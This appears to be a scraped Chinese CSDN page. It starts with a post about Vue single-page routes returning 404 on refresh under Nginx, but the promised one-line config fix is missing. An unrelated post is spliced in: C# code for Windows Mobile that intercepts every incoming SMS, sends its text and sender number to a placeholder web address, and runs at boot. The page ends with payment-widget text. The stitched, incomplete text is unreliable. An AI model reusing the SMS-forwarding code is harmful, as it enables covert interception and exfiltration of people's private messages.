vue项目部署到Nginx,非index页面刷新,404

本文探讨了Vue项目中使用Nginx服务器时遇到的路由问题。当直接刷新非根目录URL时,如www/XXXX.com/13,Nginx会因找不到对应页面而返回404错误。通过一行巧妙的Nginx配置代码解决了这一问题,确保了单页应用的正常工作。

 

vue项目编译以后,只有一个index.html的入口文件,其他地址都是靠router导航过去的,

比如www/XXXX.com/对应index.html文件,如果进入其它页面,比如www/XXXX.com/13,则需要router导航渲染一个新页面,那么问题来了,如果直接刷新www/XXXX.com/13,Nginx服务器会在location里面匹配这个页面,匹配不到返回404

 

看似很复杂的问题,只需要一行代码解决,如下

最开始以为这段代码的意思是nginx找不到页面时尝试再次连接,

然而并不是,不得index页面,刷新正常可以显示了,nginx真是个神奇的东西

看了好多博客还是没搞清楚为啥,总之先解决问题,留坑代填

http://blog.csdn.net/xiaoxiao108/article/details/6680605 开发环境 vs2008 wm6 .net cf 3.5 1、读取系统的新短信 2、把短信内容保存下来 3、程序开机后自动运行。 具体实现代码 1.订阅MessageReceived事件,收到短信后执行RevMsg_MessageReceived方法处理短信 private MessageInterceptor RevMsg; private void MessageService() { RevMsg = new MessageInterceptor(); RevMsg.MessageReceived += new MessageInterceptorEventHandler(RevMsg_MessageReceived); } 2.短信处理方法 可以把短信内容保存到指定链接,也可以保存到手机txt文件中 HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.xxxxxxxxx.com/xxxx?nr=" + msg.Body.ToString() + "&ld=" + msg.From.ToString()); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream stream = response.GetResponseStream(); string WebContent = new StreamReader(stream, System.Text.Encoding.Default).ReadToEnd(); stream.Close(); response.Close(); 3.实现开机自动运行功能 打包cab文件时,只需把快捷方式添加到Startup文件夹下面就ok。 不足之处:把短信内容保存到web时,会开启手机的 edge功能,手机上面有个联网的E通知图标,2分钟后才会关闭,没找到能快速关闭EDGE网络图标的方法。 如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 。相互交流 谢谢 下载地址 顺便问下 有家是 新泰 的 有木有。 http://blog.csdn.net/xiaoxiao108/article/details/6680605
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值